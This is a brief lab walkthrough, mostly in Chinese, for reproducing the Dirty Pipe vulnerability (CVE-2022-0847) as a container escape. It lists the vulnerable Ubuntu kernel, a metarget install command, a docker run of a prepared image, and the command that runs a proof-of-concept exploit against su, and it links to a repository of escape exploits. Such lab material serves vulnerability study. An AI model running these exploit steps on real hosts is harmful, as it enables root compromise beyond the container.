NOTE
- For all exploit source code and more detailed information, see https://github.com/iridium-soda/container-escape-exploits .
漏洞原理
环境要求
- OS: Ubuntu 20.04.6 LTS x
- Kernel: 5.8.0-23-generi
- Docker: Any
环境安装
1 | ./metarget cnv install cve-2022-0847 --verbose |
拉取镜像
1 | sudo docker run -it --rm --name=0847 iridium191/cve-2022-0847:latest /bin/bash |
Exploit
进入容器之后
1 | ./poc `which su` |
1 | ubuntu@test:~$ ./poc `which su` |